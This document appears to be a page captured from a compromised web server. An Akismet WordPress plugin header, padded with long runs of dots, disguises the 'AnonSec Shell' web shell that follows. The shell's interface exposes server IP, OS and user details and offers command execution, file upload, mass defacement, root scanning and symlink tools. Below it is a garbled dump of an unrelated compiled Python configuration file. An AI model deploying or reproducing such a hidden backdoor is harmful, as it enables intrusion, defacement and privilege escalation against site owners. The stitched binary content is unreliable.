#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/registries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python2.7/site-packages/registries/registries.pyc
�
�@�Zc@sKddlZddlmZmZddlZddlZddlZddlZddlZddl	Zddl
Z
d�Zidd6dd6dd	6Zd
�Z
d�Zd�Zd
�Zd�Zdefd��YZdefd��YZdefd��YZdefd��YZd�Zd�ZedkrGe�ndS(i����N(tabstractmethodtABCMetacCs�tjjdd�}|dkr�tjt�}|jtj�tjj	dd�}tj
d�}|j|�|j|�|j
dj|��ndS(NtTESTitaddresss/dev/logs$%(module)s.%(funcName)s: %(message)ss�{} is in YAML format and should be in TOML format. Back this file up and then use /usr/libexec/registries_migrator -o /etc/containers/registries.conf to convert it to TOML.(tostenvirontgettloggingt	getLoggert__name__tsetLeveltDEBUGthandlerst
SysLogHandlert	FormattertsetFormattert
addHandlertwarningtformat(t	conf_filettesttlogthandlert	formatter((s9/usr/lib/python2.7/site-packages/registries/registries.pytlog_warning
s

s--add-registrysregistries.searchs--insecure-registrysregistries.insecures--block-registrysregistries.blockcCs]tjj|�}tjj|�s4tj|�nt|d��}|j|�WdQXdS(Ntw(Rtpathtdirnametexiststmakedirstopentwrite(tfilenametdatatdir_pathtf((s9/usr/lib/python2.7/site-packages/registries/registries.pyt
write_file!s
cCs.g|dD]}|jd�^q|d<|S(Nt
registriest/(trstrip(tregistrytx((s9/usr/lib/python2.7/site-packages/registries/registries.pytnormalize_registry)s*cCs^t|�}t|�}t|�}ii|dd6d6i|dd6d6i|dd6d6S(NR%sregistries.searchsregistries.insecuresregistries.block(R*(tsecuretinsecuretblock((s9/usr/lib/python2.7/site-packages/registries/registries.pytto_dict.scCs_|jrB|jr/dj|j�|d}nt|j|�ntjjdj|��dS(Ns{}="s"s{}
(toutputtvariableRR$tsyststdoutR(R/targs((s9/usr/lib/python2.7/site-packages/registries/registries.pyt	do_output9s
		cCsNd}xAtD]9}x0||dD] }|djt||�7}q"Wq
W|S(NtR%s{} {} (t
map_outputR(tconfigtout_strtiR(((s9/usr/lib/python2.7/site-packages/registries/registries.pyt	to_stringBs

"tConfcBs,eZeZed��Zed��ZRS(cCsdS(N((tregistries_conf_file((s9/usr/lib/python2.7/site-packages/registries/registries.pytloadNscCsdS(N((tselfR((s9/usr/lib/python2.7/site-packages/registries/registries.pytget_registriesRs(R	t
__module__Rt
__metaclass__RR=R?(((s9/usr/lib/python2.7/site-packages/registries/registries.pyR;Jst	LoadErrorcBseZRS((R	R@(((s9/usr/lib/python2.7/site-packages/registries/registries.pyRBWstloadYAMLcBs&eZed��Zed��ZRS(cCs)t|d��}tj|�SWdQXdS(Ntr(RtyamlR=(R<tstream((s9/usr/lib/python2.7/site-packages/registries/registries.pyR=\scCs�|j|�}g}g}g}|dk	r�d|kr?gn|d}d|kr[gn|d}d|krwgn|d}nt|�ti|d6i|d6i|d6�S(NR%tinsecure_registriestblock_registries(R=tNoneRR.(tclsRR7t_registriest	_insecuret_block((s9/usr/lib/python2.7/site-packages/registries/registries.pyR?as
(R	R@tstaticmethodR=tclassmethodR?(((s9/usr/lib/python2.7/site-packages/registries/registries.pyRC[stloadTOMLcBs&eZed��Zed��ZRS(cCs)t|d��}tj|�SWdQXdS(Ntrb(RtpytomlR=(R<RF((s9/usr/lib/python2.7/site-packages/registries/registries.pyR=pscCs�|j|�}|jdd�}|r�d|kr@igd6n|d}d|krcigd6n|d}d|kr�igd6n|d}nK|jdigd6�}|jdigd6�}|jdigd6�}t|||�S(NR%tsearchR,R-sregistries.searchsregistries.insecuresregistries.block(R=RRIR.(RJRR7tregRKRLRM((s9/usr/lib/python2.7/site-packages/registries/registries.pyR?us##&(R	R@RNR=ROR?(((s9/usr/lib/python2.7/site-packages/registries/registries.pyRPoscCs�ytj|�}Wnjtjtfk
rytj|�}Wq�tjk
r{tj	j
dj|��tjd�q�XnX|S(NsUnable to load and parse {}
.i(
RPR?RRt	TomlErrortKeyErrorRCREt	YAMLErrorR1tstderrRRtexit(R<R%((s9/usr/lib/python2.7/site-packages/registries/registries.pytload_config�scCs�tjdd�}|jdddddd�|jd	d
dddd
�|jdddd�|jdddd�|j�}|jr�|jr�tjjd�tj	d�nt
|j�}|jr�tj
|�n	t|�}t||�dS(Ntdescriptions*Parse global registries configuration files-is--inputthelpsSpecify an input filetdefaults/etc/containers/registries.confs-js--jsonsOutput in JSON formattactiont
store_trues-os--outputsSpecify an output files-Vs
--variablesSpecify a variable assignmentsYou must use --output with -Vi(targparsetArgumentParsertadd_argumentt
parse_argsR0R/R1RXRRYRZtinputtjsontdumpsR:R4(tparserR3tregistries_configR/((s9/usr/lib/python2.7/site-packages/registries/registries.pyR%�s$t__main__(R1tabcRRRERRR`ReRtlogging.handlersRRR6R$R*R.R4R:tobjectR;t	ExceptionRBRCRPRZR%R	(((s9/usr/lib/python2.7/site-packages/registries/registries.pyt<module>s4	

						
	
	

Anon7 - 2022
AnonSec Team